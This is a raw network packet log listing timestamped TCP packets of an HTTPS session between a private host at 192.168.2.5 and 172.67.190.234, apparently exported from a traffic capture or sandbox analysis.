Dec 29, 2024 14:15:46.906296968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.906313896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.906399965 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.906405926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.906447887 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.910007000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.910029888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.910109043 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.910118103 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.910164118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.914064884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.914084911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.914151907 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.914158106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.914206982 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.917130947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.917150974 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.917221069 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:46.917227983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:46.917296886 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.094192982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.094223976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.094383955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.094405890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.094470024 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.097297907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.097313881 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.097395897 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.097403049 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.097438097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.100466013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.100481987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.100589991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.100594997 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.100636005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.104396105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.104413033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.104581118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.104585886 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.104645014 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.107568979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.107584953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.107680082 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.107686043 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.107722998 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.111224890 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.111242056 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.111299992 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.111305952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.111342907 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.115165949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.115181923 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.115247011 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.115252018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.115307093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.118338108 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.118354082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.118429899 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.118434906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.118472099 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.295423985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.295454979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.295547009 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.295568943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.295581102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.295635939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.298480988 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.298496962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.298568010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.298574924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.298618078 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.302463055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.302485943 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.302588940 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.302601099 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.302653074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.305598021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.305618048 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.305689096 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.305699110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.305767059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.309559107 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.309582949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.309789896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.309803963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.309850931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.313183069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.313204050 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.313272953 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.313285112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.313327074 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.316376925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.316395044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.316466093 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.316473961 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.316500902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.316520929 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.320274115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.320297956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.320370913 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.320377111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.320424080 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.496562004 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.496594906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.496762991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.496784925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.496854067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.500382900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.500402927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.500483036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.500489950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.500535011 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.503547907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.503566027 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.503621101 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.503627062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.503665924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.507596016 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.507612944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.507673025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.507679939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.507704973 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.507728100 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.510648966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.510665894 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.510718107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.510723114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.510760069 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.514321089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.514337063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.514399052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.514404058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.514441013 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.518208981 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.518224955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.518258095 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.518263102 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.518285036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.518302917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.521440983 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.521461964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.521514893 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.521519899 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.521559954 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.698684931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.698720932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.698945045 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.698965073 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.699029922 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.701836109 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.701852083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.701930046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.701936007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.701971054 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.705725908 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.705744982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.705797911 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.705804110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.705846071 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.709126949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.709156036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.709223986 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.709238052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.709281921 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.709300041 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.712945938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.712966919 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.713013887 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.713022947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.713059902 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.713135958 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.715781927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.715801001 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.715847015 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.715852022 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.715884924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.715903997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.719733953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.719757080 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.719821930 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.719829082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.719892979 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.719904900 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.722939014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.722955942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.723004103 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.723010063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.723037004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.723056078 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.900038958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.900063992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.903424025 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.903476954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.903490067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.903507948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.903522968 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.903573036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.907071114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.907087088 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.907181978 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.907187939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.910301924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.910321951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.910409927 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.910418987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.910429001 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.914175034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.914191008 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.914285898 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.914295912 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.917124987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.917145967 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.917198896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.917205095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.917243004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.918287039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.921092987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.921113968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.921181917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.921190023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.924243927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.924273014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.924313068 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.924326897 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:47.924341917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.947901964 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:47.948115110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.101326942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.101351976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.101468086 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.101483107 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.101524115 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.104490042 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.104511023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.104561090 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.104564905 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.104597092 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.104613066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.108402014 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.108424902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.108470917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.108479977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.108509064 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.108529091 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.111591101 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.111624956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.111673117 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.111684084 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.111696005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.111721039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.115514994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.115541935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.115597010 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.115608931 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.115654945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.115674019 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.118448973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.118475914 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.118510008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.118519068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.118546009 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.118565083 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.122389078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.122410059 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.122467995 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.122478008 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.122503042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.122524023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.125540972 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.125565052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.125634909 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.125646114 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.125689030 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.302736044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.302767038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.302822113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.302840948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.302854061 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.302880049 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.305921078 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.305936098 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.306039095 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.306039095 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.306045055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.306097031 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.309767962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.309784889 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.309835911 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.309842110 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.309884071 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.312982082 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.313003063 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.313041925 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.313045979 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.313071966 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.313091993 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.316880941 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.316896915 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.316992044 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.316997051 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.317038059 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.319863081 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.319888115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.319941044 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.319947004 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.319971085 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.320003033 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.323780060 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.323796034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.323858023 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.323863029 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.323905945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.326941013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.326956987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.327011108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.327016115 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.327055931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.504199982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.504226923 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.504267931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.504290104 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.504309893 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.504328966 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.507437944 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.507463932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.507500887 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.507513046 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.507538080 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.507559061 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.511292934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.511328936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.511354923 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.511367083 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.511390924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.511409998 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.514488935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.514520884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.514564991 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:48.514575958 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:48.514605045 CET	49860	443	192.168.2.5	172.67.190.234
